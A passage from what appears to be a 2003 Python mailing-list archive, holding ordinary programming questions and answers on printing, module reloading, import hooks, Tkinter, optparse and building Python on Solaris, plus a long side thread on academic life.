>   I have a question: how to print (sic!) in python (I use wxPy). The point
> is, that is should be os-independent :) I can generate the data to print
> in XML, HTML, PS... how to print it under windows? ;)

Hi, I printed stuff by generating pdf with reportlab (-> google),
and then using ghostscript either to transform pdf to ps, or
to print to a arbitrary printer. It works even for network printers.

Greetings, Uwe.

> best regards,
>    Pawel J. Maczewski @ HIL
>     reg.linux user #281878


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From abelikov72 at hotmail.com  Sat Jan  4 18:00:30 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sat, 04 Jan 2003 23:00:30 GMT
Subject: Reload imported modules for python-embedded application
Message-ID: <dfpe1v4lvvvt31vba767ki55tpjk3em2go@4ax.com>

The main python script I execute from my python-embedded application
imports some modules. In order for my application to recognize changes
to those python scripted modules, I must restart it. However, changes to
the main script itself are recognized without restarting my application.

How do I force a reload of modules while the application is running?



From mwm at mired.org  Sun Jan 19 10:58:59 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 19 Jan 2003 15:58:59 GMT
Subject: open an html string in a browser?
References: <v2j7tdai7bk9a9@corp.supernews.com> <t6jW9.7411$bs2.517@news2.central.cox.net>
Message-ID: <x7wul12kry.fsf@guru.mired.org>

"Steve Holden" <sholden at holdenweb.com> writes:
> "Lance" <lbrannma at cablespeed.com> wrote in message
> news:v2j7tdai7bk9a9 at corp.supernews.com...
> It would be nice if browsers would be prepared to read their standard input,
> so you could pipe the content into it, but offhand I can't think of one that
> does.

Some operating systems provide a name for standard input in the file
system name space. /dev/fd/0 and /dev/stdin are the two I've seen. If
the OP is on such an OS, that would solve the problem.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From gumuz at looze.net  Thu Jan 23 04:34:25 2003
From: gumuz at looze.net (Gumuz)
Date: Thu, 23 Jan 2003 10:34:25 +0100
Subject: Widestudio IDE
Message-ID: <3e2fb79f$0$231$4d4ebb8e@news.nl.uu.net>

http://www.widestudio.org/EE/index.html

Has anyone used this before, I've never heard of it and i was wondering if
you have any experiences with it. If yes, please share with us.


Guyon





From paul at boddie.net  Fri Jan 31 06:35:31 2003
From: paul at boddie.net (Paul Boddie)
Date: 31 Jan 2003 03:35:31 -0800
Subject: xforms (W3C) intepreter in Python?
References: <3e393e41_1@spamkiller.newsgroups.com>
Message-ID: <23891c90.0301310335.5684465d@posting.google.com>

"Brad Clements" <bkc at Murkworks.com> wrote in message news:<3e393e41_1 at spamkiller.newsgroups.com>...
> 
> Anyone else looking at xforms?

I had a look at XForms a while ago, but the specification was
something which was not only sleep-inducing, but also didn't really
seem to meet any immediate requirements for developing Web
applications more productively. Moreover, there was no indication that
any browser would support the technology any time soon; indeed, I'm
pretty sure that no mainstream browser supports it even now.

> Novell DeveloperNet Sysop #5

Interestingly, Novell seem to be all excited about XForms in that I
saw some of their developer pages which advertised some package or
other in which you could design them.

I've been interested in manipulating Web form data as XML, and
formatting that data using XML-based templates. Right now, though, I
don't have anything I can show you.

Paul



From phr-n2003b at NOSPAMnightsong.com  Fri Jan 31 22:59:55 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 31 Jan 2003 19:59:55 -0800
Subject: getting an index in a for loop
References: <a865f0e4.0301310543.7aa8d1a4@posting.google.com> <mailman.1044021360.9474.python-list@python.org> <3E3B41B3.C06B0EFE@alcyone.com>
Message-ID: <7x7kckfy6c.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> >     >>> for index, char in enumerate('abcdefg'):
> >     ...     print index, char
> 
> Both of these are nice and tight idiomatically, but they actually have
> to build the lists of tuples, and so can be prohibitive if you expect
> the sequence (whether it's a string or not) to be very long indeed.

Do they really???  I would have hoped that enumerate would build an
iterator, something like

  def enumerate(seq):
     i = 0
     for s in seq:
        yield s
        i += 1
 
If enumerate really does build the whole list, either I'm missing
something basic or else there was a big blunder.



From wurmy at earthlink.net  Wed Jan  1 21:55:26 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Thu, 02 Jan 2003 02:55:26 GMT
Subject: 2.3a1: importhooks oddity
Message-ID: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net>

Howdy y'all,

I downloaded both the Windows installer and the source code for Python 2.3a1. 
While playing with the new import hooks, I noticed something peculiar. Consider 
this piece of code:

import sys

print sys.version

def f(path):
     print "Wahey!", path
     raise ImportError

sys.path_hooks.append(f)

import nothing  # needless to say, doesn't exist

I built my own version with Cygwin, using a simple configure & make install, 
nothing fancy. When I run the code, I get the following output:

$ python test-importhooks-2.py
2.3a1 (#1, Jan  1 2003, 21:44:23)
[GCC 2.95.3-5 (cygwin special)]
Wahey!
Traceback (most recent call last):
   File "test-importhooks-2.py", line 13, in ?
     import nothing  # needless to say, doesn't exist
ImportError: No module named nothing

This is what I expected. However, when I run this with the Windows version, I 
get this output:

(P:\test\2.3) $ python test-importhooks-2.py
2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)]
Traceback (most recent call last):
   File "test-importhooks-2.py", line 13, in ?
     import nothing  # needless to say, doesn't exist
ImportError: No module named nothing

In other words, function f doesn't seem to be called.

Is this a bug, a feature, or am I doing something wrong?

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From jgraves3 at austin.rr.com  Tue Jan  7 21:25:29 2003
From: jgraves3 at austin.rr.com (jay graves)
Date: Wed, 08 Jan 2003 02:25:29 GMT
Subject: PIL JPEG pixel problem
References: <df392399.0301070946.5455fd55@posting.google.com>
Message-ID: <3e1b8a7a.178818290@news-server.austin.rr.com>

On 7 Jan 2003 09:46:13 -0800, itcram at yahoo.com (Mark) wrote:

>I'm having problems changing the pixels in a .jpg file.
<snip>

If you are trying to do what I think you are trying to do (remove a
'stuck' pixel in an image from a digital camera) you can try the
following package.

http://jpegpixi.sourceforge.net/

HTH.

jay graves



From cnetzer at mail.arc.nasa.gov  Wed Jan 22 16:18:16 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 22 Jan 2003 13:18:16 -0800
Subject: Unable to find solution to error:   ValueError: math domain error
In-Reply-To: <2EBD1AB31CC64840B141FC732C9295ACBAD32F@EX-SRV1>
References: <2EBD1AB31CC64840B141FC732C9295ACBAD32F@EX-SRV1>
Message-ID: <200301222118.NAA11982@mail.arc.nasa.gov>

On Wednesday 22 January 2003 00:57, Mark Cooke wrote:

> Cron <mailman at eir> /usr/bin/python -S /var/mailman/cron/gate_news:
> Traceback (most recent call last):
>    File "/var/mailman/cron/gate_news", line 40, in ?
>      from Mailman import MailList
>    File "/var/mailman/Mailman/MailList.py", line 36, in ?
>      from Mailman import Utils
>    File "/var/mailman/Mailman/Utils.py", line 32, in ?
>      import random
>    File "/usr/lib/python2.2/random.py", line 91, in ?
>      NV_MAGICCONST = 4 * _exp(-0.5)/_sqrt(2.0)
> ValueError: math domain error

In addition to what Martin suggested, try running python from the shell 
and type:

import random

and see if you get the same error.  Try it again with the "-S" switch 
to python if no error is given.

It works fine on my Redhat 8.0 system (w/ Athlon chip).  If those 
things fail, try the following:

rpm -V python

To make sure your python system files aren't messed up.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From yf110 at vtn1.victoria.tc.ca  Tue Jan  7 14:30:09 2003
From: yf110 at vtn1.victoria.tc.ca (Malcolm Dew-Jones)
Date: 7 Jan 2003 11:30:09 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com>
Message-ID: <3e1b2ac1@news.victoria.tc.ca>

Sara (genericax at hotmail.com) wrote:
: Looks like Bill is successfully creating his "clone army". 

: At least we're way above PHP, which barely beat Fortran! Lords of
: Light it's amazing anyone who isn't one of Bill's or Sun's drones is
: employed.... It looks like a Perl programmer has about an equal chance
: of being employed in his skill as a COBOL programmer, and probably for
: a lot less $$ since COBOL programmers have to be scarce as hens teeth.

: This is discouraging.... I guess next year at OSCON we should replace
: the Python talks with "Labview" and "PowerBuilder" to attract more
: attendees? I'd be a parking attendant  before I'd learn ASP. You may
: be taking over the world Bill but you ain't getting ME!

:  -------------------------------------------------------------------------


: Recent DICE survey resuts:

: >Number of Job Listings by Programming Language (January 3, 2003)
: >
: >               monster.com dice.com %
: >
: >  SQL          5000        2486     24.06%
: >
: >  ASP          2156        2480     14.90%
: >
: >  Java         2664        1862     14.55%
: >
: >  C++          2046        1480     11.33%
: >
: >  Visual Basic 2037        1095     10.07%
: >
: >  Perl         925         548      4.73%
: >
: >  Javascript   914         489      4.51%
: >
: >  Cobol        595         532      3.62%
: >
: >  SAS          805         269      3.45%
: >
: >  C#           284         179      1.49%
: >
: >  Ada          377         65       1.42%
: >
: >  RPG          248         163      1.32%
: >
: >  PowerBuilder 155         106      0.84%
: >
: >  PHP          189         30       0.70%
: >
: >  Delphi       157         55       0.68%
: >
: >  Fortran      121         49       0.55%
: >
: >  LabVIEW      108         27       0.43%
: >
: >  Tcl          73          33       0.34%
: >
: >  Python       55          32       0.28%
: >
: >  Smalltalk    41          30       0.23%
: >
: >  Rexx         33          25       0.19%
: >
: >  Pascal       28          17       0.14%
: >
: >  Lisp         12          9        0.07%
: >
: >  SML          7           6        0.04%
: >
: >  Haskell      6           6        0.04%
: >
: >  Caml         0           0        0.00%
: >


Job listings also measure the *turnover* of employees, not just the number
of jobs. 

Perhaps the perl programmers are happy, so the existing jobs don't lead to
job listings.

Perhaps the perl programmers are efficient, so existing work doesn't lead
to more jobs.




From op73418 at mail.telepac.pt  Mon Jan  6 10:22:00 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Mon, 06 Jan 2003 15:22:00 +0000
Subject: new years resolutions
References: <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <mailman.1041715268.3272.python-list@python.org> <2259b0e2.0301051011.5ba2ff3e@posting.google.com> <mailman.1041794830.7571.python-list@python.org>
Message-ID: <446j1v0vrlb19rnh9trkllodvjmohbld16@4ax.com>

On Sun, 05 Jan 2003 20:23:38 +0100, Laura Creighton <lac at strakt.com>
wrote:

>> On Sat, 2003-01-04 at 11:05, Laura Creighton wrote:
>> 

[text snipped]

>> 
>> Now, if I may ask a personal question, what you didn't like in science/academ
>> ia ?
>
>This is just off the top of my head....
>
>1. preoccupation with cleverness as opposed to wisdom
>2. giving the job of 'preparing people for industry' to people who have
>   mostly never been there.
>3. believing that teaching is something that comes naturally.  No effort
>   is made to train professors on how to teach well.  This is a trainable
>   skill.
>4. in some places -- forcing people to teach so that you cannot simply do
>   research all the time if you hate teaching.  in other places, getting
>   rid of or valuing less the great teachers, because their research isn't
>   so hot.  Many places do both, of course.
>5. Greedily embracing the notion that 'a university education is for
>   everyone' because it means more funding, reguardless of what it means
>   for would-be academics who now usually have to wait until they get
>   to grad school -- or now in some fields a postdoc before they can do 
>   anything truly original.  That is too long a wait.

See my reply below, but in many fields the specialization is so much
that there is no way for someone before a postdoc to do original work
(although I would put the entry barrier at the phd level).

>6. Classroom teaching as opposed to Master/Apprentice type relationships.

I agree with you but I do not see an easy way out. Here, in Portugal
there is a current process of massification of university acess. It has
good aspects but it also has a lot of downsides, your point being one of
them.

>7. Preoccupation with novelty, and originality, as opposed to soundness.
>8. The complete disreguard of 'good workmanship' as the counterpart to
>   'sound design'.  These days people are likely to learn that the work
>   is good because it was 'designed well', as opposed to the fact that
>   one of many good designs was selected -- the result was good because
>   _the workmanship was good_.  (Good workmanship cannot save a really
>   rotten design, unfortunately.)
>9. A life focused on Grading people.  Making grades, not knowledge or
>   wisdom the important centre of the universe.
>10. (in some places) The notion that only the top 10% matter -- the
>    rest can all go hang.
>11. The belief that business is somehow demeaning.
>12. The belief that business is somehow superior. 
>13. Too many fools.
>14. Too swollen egos.
>15. The furthering of the belief that Art is merely entertainment.

Is this really true? I am so disgusted by it that I find it hard to
believe.

>16. The furthering of the belief that it is a good idea to appear
>    better than you really are.
>17. Too many people who feel they have the right to be contemptuous of others.
>18. Too much paperwork.
>19. Too much specialisation within a given field.

Once again there is no way out of this. I can only speak for the two
areas that I know somewhat: theoretical physics and mathematics. But in
both, you see since the XIXth century these two opposing forces: growing
specialization and those all-too-rare but sublime attempts to subsume
vast growing bodies of knowledge in one unique coherent idea. 

Specialization will always outrun the simplifying-and-subsuming force,
because for the last one there is a need of a special kind of talent,
that talent so blazing and forceful that is most of the times rightly
acknowledged as true genius.

>20. Not enough play.
>21. Really boring textbooks written by people who cannot write.

Hmm. And how about really boring textbooks to
people-who-cannot-read-and-wouldn't-know-good-writing-from-bad-writing-even-if-it-bit-them-in-the-arse?
<wink>

>22. An over-reliance on analytical as opposed to geometric methods.

Weird. Both in mathematics and in theoretical physics there is a large
effort of "geometrizing" - unless you mean something different by
geometry.

>23. Avoidance of risk.
>24. Avoidance of beauty.
>25. Focusing on that which can be measured (in itself a good thing, and
>    the secret of Western success) but not to the extent where that
>    which cannot be measured is deemed unimportant, or even non-existant.
>26. Students who sit like turnips in your lectures.
>
>I'll stop now.  I am sure you will get plenty more answers from other
>people.
>
>Laura

I have always had my ideal notion of University somewaht akin to those
monasteries in the desert, where no women were allowed and the monks
practised deep ascesis, wearing only rough clothes and no underwear.
Monasteries that were the storehouses of knowledge; Centers of
excelence, and even elitist but where anyone who was humble enough could
enter, and in silence and quietness seek enlightenment.

But it is already too late to mourn. For reasons both good and bad such
an ideal is unattainable.

With my best regards,
G. Rodrigues



From mwh at python.net  Thu Jan 16 13:25:48 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 18:25:48 GMT
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net> <mailman.1042736654.11092.python-list@python.org>
Message-ID: <7h34r89ne7y.fsf@pc150.maths.bris.ac.uk>

Jp Calderone <exarkun at intarweb.us> writes:

>   One could look at it as a wart, though I personally wouldn't.  Regardless,
> it can be worked around.
> 
> See twisted.python.rebuild (http://www.twistedmatrix.com) for an example of
> how ;)

That might have difficulties with a list of instances, no?

Also these lines:

        if not hasattr(mod, '__dict__'):
            # It's a builtin module; nothing to replace here.
            continue

baffle me.  How did you manage that?

>>> len(sys.__dict__)
44
>>> len(termios.__dict__) 
231

etc.

Cheers,
M.

-- 
8. A programming language is low level when its programs require
   attention to the irrelevant.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html



From goodger at python.org  Thu Jan 23 09:28:45 2003
From: goodger at python.org (David Goodger)
Date: Thu, 23 Jan 2003 14:28:45 GMT
Subject: Extending help-string in optparse?
In-Reply-To: <slrnb2vt1p.egd.mlh@furu.idi.ntnu.no>
References: <slrnb2vt1p.egd.mlh@furu.idi.ntnu.no>
Message-ID: <BA556710.2F444%goodger@python.org>

Magnus Lie Hetland wrote:
> If I want to use cvs-like commands in addition to options with
> optparse, I can (as I was tipped about) use two (or more)
> OptionParsers to parse parts of the command line. However, it seems
> that making the --help string helpful wrt. my commands (or other
> arguments other than options, for that matter) isn't all that easy...
> Or am I missing some feature here?

You mean something like this?

    python program.py subcommand --help

One might expect help for the global options as well as the subcommand's
options.  Optik/optparse doesn't support this out-of-the-box, but I don't
imagine it would be that difficult to add.

On the other hand, you could simply add this to each subcommand's top-level
description:

    For help on global options, use "python program.py --help" (no
    subcommand).

This has the advantage of keeping help output short & to the point.

-- David Goodger    http://starship.python.net/~goodger

Programmer/sysadmin for hire: http://starship.python.net/~goodger/cv




From max at alcyone.com  Fri Jan  3 02:11:00 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 02 Jan 2003 23:11:00 -0800
Subject: help with exec statement
References: <mailman.1041566165.23504.python-list@python.org>
Message-ID: <3E153784.E28F4481@alcyone.com>

Jason Morgan wrote:

> This is the contents of the string:
> 
> def generate():
>         return "TEST"

It would be important to see the precise contents of the string, via
repr.

> And, finally, this is my error:
> 
> File "<string>", line 2
> 
>     return "TEST"
> 
>                 ^
> 
> SyntaxError: invalid syntax

It is probably either an intending problem, or the lack of a trailing
newline.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ We grow in time to trust the future for our answers.
\__/ Ruth Benedict
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.



From missive at frontiernet.net  Mon Jan  6 18:57:22 2003
From: missive at frontiernet.net (Lee Harr)
Date: Mon, 06 Jan 2003 23:57:22 -0000
Subject: Simple Zope Photo Album
References: <74977d59.0301031118.75afd76d@posting.google.com> <slrnb1dbkp.22e2.karsten@datasink.webmonster.de> <74977d59.0301061215.7d734f8e@posting.google.com>
Message-ID: <v1k5v2g3efmed@corp.supernews.com>

> Thanks,
> This is *almost* exactly what I wanted.  The only problem is that I
> have no FTP access, so I will have to upload manually through the Zope
> interface, but that won't be too big of a problem, just time
> consuming.

Don't miss the ZipFolder product.

Saves a ton of time if you need to upload a bunch of images.

Once you've uploaded to the ZipFolder, you can cut and paste
the files in to a different are if needed.




From clifford.wells at attbi.com  Sat Jan  4 14:24:29 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 11:24:29 -0800
Subject: new years resolutions
In-Reply-To: <3E173350.30DF270F@alcyone.com>
References: <mailman.1041550805.3550.python-list@python.org>
	 <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com>
	 <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
	 <2282.3e16c72c.ed40b@basilisk>
	 <mailman.1041706688.7923.python-list@python.org>
	 <3E173350.30DF270F@alcyone.com>
Message-ID: <1041708269.3565.58.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 11:17, Erik Max Francis wrote:
> Cliff Wells wrote:
> 
> > So, if C isn't a programming language, what is it?  I guess you'll
> > need
> > to find a new definition of "programming language" at this point if
> > you
> > want to remain a "programmer" <wink>
> 
> I do like the use of the sentence, "Real programming languages are
> Turing complete only if we ignore the constraints of finiteness."  The
> choice of the word _real_ is rather ironic, since no real programming
> language could ever ignore the constraints of finiteness.  (To the
> authors' credit, by _real_ they meant something more like _true_ or
> _pure_.)

Doh!  And I thought they meant Fortran <wink>.

-- 
Cliff Wells <clifford.wells at attbi.com>





From LogiplexSoftware at earthlink.net  Tue Jan  7 20:01:46 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 07 Jan 2003 17:01:46 -0800
Subject: Too Self Centered
In-Reply-To: <5.1.0.14.0.20030107165141.01f73e88@mail.thewebsons.com>
References: <5.1.0.14.0.20030107165141.01f73e88@mail.thewebsons.com>
Message-ID: <1041987705.1368.1699.camel@software1.logiplex.internal>

On Tue, 2003-01-07 at 12:53, beno wrote:
> Hi;
> I'm writing my first real script and running into what appears to be a 
> problem. Although this code works perfectly well, it seems to have way too 
> many uses of *self.* in it. But if I don't put them in, the runtime 
> compiler complains that various global names aren't defined. What to do? 

I'd be more concerned about lack of whitespace.  This is pretty hard to
read in its current state.

> Here's an example of the code.
> TIA,
> beno
> 
>   def __init__(self):
>    self.readFile = open('test1','r')
>    while self.readFile.readline() != '':
>     self.count = self.count + 1
>    self.total = self.count
>    self.readFile.close()
>   def firstRead(self):
>    self.readFile = open('test1','r')

[snip]

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From woetzel at gmd.de  Thu Jan  9 06:26:51 2003
From: woetzel at gmd.de (Gerd Woetzel)
Date: 9 Jan 2003 12:26:51 +0100
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk> <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de> <3e1c3d59$1@news.fhg.de> <m3hecioatv.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3e1d5c7b$1@news.fhg.de>

What I have written after some beer:

>><imho>
>> Unfortunately the "general principle" is wrong.
>> There is a canonical embedding of Unicode strings into byte strings (which
>> is UTF-8) but no canonical embedding of byte strings into Unicode strings.
>> Hence it should be vice versa.
>></imho>
>>Its a real shame that I have no acces to the bvd's time machine :-)

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

>I'm fairly sure I agree with you, but time travel will make criminals of
>us all

martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=) writes:

>[...]
>Then people requested that byte-string-unicode-string conversion
>should use other encodings, and it was pointed out that UTF-8 is maybe
>confusing for existing applications. So the default encoding is now
>administrator-settable, and defaults to ASCII.

>With ASCII being the default encoding, there is *no* canonical
>embedding of Unicode strings into byte strings: some Unicode strings
>("most") cannot be converted to a byte string automatically.
>[...]

I agree with you, but time travel will definitely make a criminal of me!

Cheers, Gerd



From martin at v.loewis.de  Fri Jan  3 03:47:01 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 03 Jan 2003 09:47:01 +0100
Subject: Accessing a PyInstances dictionary from C++
References: <YTaR9.4650$j94.883590@news02.tsnz.net>
Message-ID: <m3r8bumxh6.fsf@mira.informatik.hu-berlin.de>

"Lloyd" <NOSPAM at fusion.net.nz> writes:

> I'm trying to call a method on a python object from C++. I have a PyInstance
> but can't for figure out how to obtain the dictionary from the instance so
> that I can call the method on the object.

I suggest that you skip those steps, and use PyObject_CallMethod
directly. If you really need the bound method object, use
PyObject_GetAttrString.

Regards,
Martin




From p-abel at t-online.de  Wed Jan 15 16:49:45 2003
From: p-abel at t-online.de (Peter Abel)
Date: 15 Jan 2003 13:49:45 -0800
Subject: Struggling to return integer from a Tk Program
References: <b029ub$7lg$1@bob.news.rcn.net>
Message-ID: <13a533e8.0301151349.62c381c3@posting.google.com>

morden <morden at shadows.net> wrote in message news:<b029ub$7lg$1 at bob.news.rcn.net>...
> I run this code:
> 
> 
> from Tkinter import *
> import string
> 
> retval = [-1]
> 
> class ThreeButtons:
> 	title = "???"
> 
>          def __init__(self, master, textbody, but1, but2, but3=None, 
> title=None):
>              if title is None: title = self.title
>              self.master = master
> 
>              self.top = Toplevel(master)
>              self.top.title(title)
>              self.top.iconname(title)
> 
>              Label(self.top, text=textbody).pack(side=TOP, fill=X, 
> expand=1, pady=20)
> 
>              upos,text=self.underlinepos(but1)
>              Button(self.top, {'text':text, 'command':self.yes, \
>                                Pack:{'side':'left', 'padx':'20', 
> 'pady':'20'}}, underline=upos )
> 
>              upos,text=self.underlinepos(but2)
>              Button(self.top, {'text':text, 'command':self.no, \
>                                Pack:{'side':'left', 'padx':'20', 
> 'pady':'20'}}, underline=upos )
>              self.top.bind('<Alt-n>', self.no)
> 
>              if but3 is not None:
>                  upos,text=self.underlinepos(but3)
>                  Button(self.top, {'text':text, 
> 'command':self.cancel_command, \
>                                    Pack:{'side':'left', 'padx':'20', 
> 'pady':'20'}}, underline=upos )
> 
>              self.top.bind('<Alt-c>', self.cancel_command)
> 
>              self.top.bind('<Alt-w>', self.cancel_command)
>              self.top.bind('<Alt-W>', self.cancel_command)
>              self.top.bind('<Alt-F4>', self.cancel_command)
>              self.top.protocol('WM_DELETE_WINDOW', self.cancel_command)
>              self.master.mainloop()
> 
>          def droptilda(self, str):
>              comps = string.split( str, '~' )
>              res = comps[0]
>              if(len(comps)>1):
>              	res += comps[1]
>              return res
> 
>          def underlinepos(self, str):
>              comps = string.split( str, '~' )
>              if(len(comps)<=1):
>                  return -1, comps[0];
>              if(len(comps)>2):
>              	# two tildas??????
>                  noop=1
>              #print "len is %d %d\r" % ( len(comps), len(comps[0]) )
>              return len(comps[0]), comps[0]+comps[1]
> 
>          def yes(self, event=None): self.quit(self, 0)
>          def no(self, event=None): self.quit(self, 1)

>          def cancel_command(self, event=None): self.quit(self, 2)
???=============================================== 1        2    3
???---Here you try to call quit with the 3 paras (self,    self, 2)

> 
>          def ok_event(self, event):
>              ok_command()
> 
>          def ok_command(self):
>              quit()
> 

> 	def quit(self, ret_val, how=None):
??? calling quit(self, self   ,  2)

>              how = how


>              rv = int(ret_val)
??? you try to convert "self" to an "int"


>              retval[0] = rv
>              print "%d\r" % retval[0]
>              self.master.quit()              # Exit mainloop()
> 
> def ThreeButtonDriver(root, body, first, second, third, title):
>      ThreeButtons(root, body, first, second, third, title)
>      print "%s\r" % retval[0]
>      return retval
> 
> """Simple test program."""
> root = Tk()
> root.withdraw()
> ThreeButtonDriver(root, "Body of the message\non two lines", "Yes", 
> "~No", "Can~cel", "Sample YesNoMsg Window")
> 
> 
> 
> And get this trace:
> python ./yesmsg.py
> Exception in Tkinter callback
> Traceback (most recent call last):
>    File "/usr/local/lib/python2.2/lib-tk/Tkinter.py", line 1292, in __call__
>      return apply(self.func, args)
>    File "./yesmsg.py", line 59, in no
>      def no(self, event=None): self.quit(self, 1)
>    File "./yesmsg.py", line 70, in quit
>      rv = int(ret_val)
> AttributeError: ThreeButtons instance has no attribute '__int__'
> 
> upon pressing the second button (~No). Replacing int(ret_val) with 
> ret_val on line             rv = ret_val
> results in the same trace
> 
> Is there an easier way to get the number of selected button out of the 
> Tkinter script?
> 
> I plan to extend the interpreter with ThreeButtonDriver and use that for 
> modal dialogs in the program (the rest of the gui is in Zinc on top of 
> Motif).
> 
> How could I place the dialog in the cetner of the root X Window? Should 
> I use placer for that?
> 
> I would appreciate any comments on how I could deuglify this script a bit.

See my remarks with ??? in your code
concerning the error.

Tkinter problems no answer.



From nospam at miltonstreet.com  Sun Jan 12 13:30:07 2003
From: nospam at miltonstreet.com (Sam Carleton)
Date: 12 Jan 2003 10:30:07 -0800
Subject: Installing Python problems (_socket.so)
Message-ID: <52373b4f.0301121030.447cac4f@posting.google.com>

I am trying to get Python 2.2.2 installed on a Solaris 8 (SPARC)
machine.  I have OpenSSL 0.9.7 installed successfully on the machine
in questions.  When compiling, this is a snip of the output:

X509_PUBKEY_get                     0x7d8      
/usr/local/ssl/lib/libcrypto.a(x_pubkey.o)
X509_PUBKEY_get                     0x3a8      
/usr/local/ssl/lib/libcrypto.a(x509_req.o)
ld: fatal: relocations remain against allocatable but non-writable
sections
collect2: ld returned 1 exit status
skipping /export/home/sam/src/Python-2.2.2/Modules/socketmodule.c
(build/temp.solaris-2.8-sun4u-2.2/socketmodule.o up-to-date)
gcc -shared build/temp.solaris-2.8-sun4u-2.2/socketmodule.o
-L/usr/local/ssl/lib -L/usr/local/lib -Wl,-R/usr/local/ssl/lib -lssl
-lc
rypto -o build/lib.solaris-2.8-sun4u-2.2/_socket.so
WARNING: building of extension "_socket" failed: command 'gcc' failed
with exit status 1
skipping 'dbm' extension (up-to-date)

There does not seem to be much info here.  Is there any way I can get
more info as to solve the problem?

Sam



From alm1 at at-andros.demon.co.uk  Mon Jan 27 03:36:27 2003
From: alm1 at at-andros.demon.co.uk (Andrew McLean)
Date: Mon, 27 Jan 2003 08:36:27 +0000
Subject: Q: Linear constrained quadratic programming code in python?
References: <3E306DEF.1000004@mailzone.com>
Message-ID: <MmRr9tIL+ON+EwLJ@at-andros.demon.co.uk>

It's not Python specific, but a very good starting point would be, the 
"Decision Tree for Optimization Software" at

http://plato.la.asu.edu/guide.html

in particular

http://plato.la.asu.edu/topics/problems/nlores.html#QP-problem


-- 
Andrew McLean



From mertz at gnosis.cx  Wed Jan 15 23:29:22 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 15 Jan 2003 23:29:22 -0500
Subject: Python as a base for an Open Source Foxpro
References: <5c07cc6.0301151206.455286ac@posting.google.com>
 <7zcJ+kKkXcxV092yn@gnosis.cx> <mailman.1042684049.15215.python-list@python.org>
Message-ID: <iUjJ+kKkXc/H092yn@gnosis.cx>         

Doug Glenn <dglenn at charter.net> wrote previously:
|> http://www.harbour-project.org/

|I would rather see a project to convert FoxPro source to Python. That
|would be a money making proposition for someone.

OK... here's the project:  If someone pays me money, I'll convert their
FoxPro source code to Python.  Money making indeed.[*]

I don't have much confidence in some hypothetical automated conversion.
But more power to you if you write such a thing.

Yours, Lulu...

[*] FWIW, this is only half tongue-in-cheek.  I really do know both
languages, and really would be happy to accept work doing such a thing.


--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From 2002 at weholt.org  Thu Jan 16 04:04:55 2003
From: 2002 at weholt.org (Thomas Weholt)
Date: Thu, 16 Jan 2003 10:04:55 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
Message-ID: <0BuV9.11459$CG6.203654@news4.e.nsc.no>

In my day-job I use Delphi/Object Pascal. My firm has a coding-standard
where we prefix all variables with a single character to indicate datatype;
strings are prefixed with s, integers with i, floats with f etc. etc.

Are there any standards like this for Python? Or hints, tips, opinions
related to this topic? I do believe it could make source more understandable
and easier to debug/maintain when used in larger projects.

All thoughts appreciated.

Best regards,
Thomas





From donnalcwalter at yahoo.com  Fri Jan 31 11:14:55 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Fri, 31 Jan 2003 10:14:55 -0600
Subject: Implicit lists
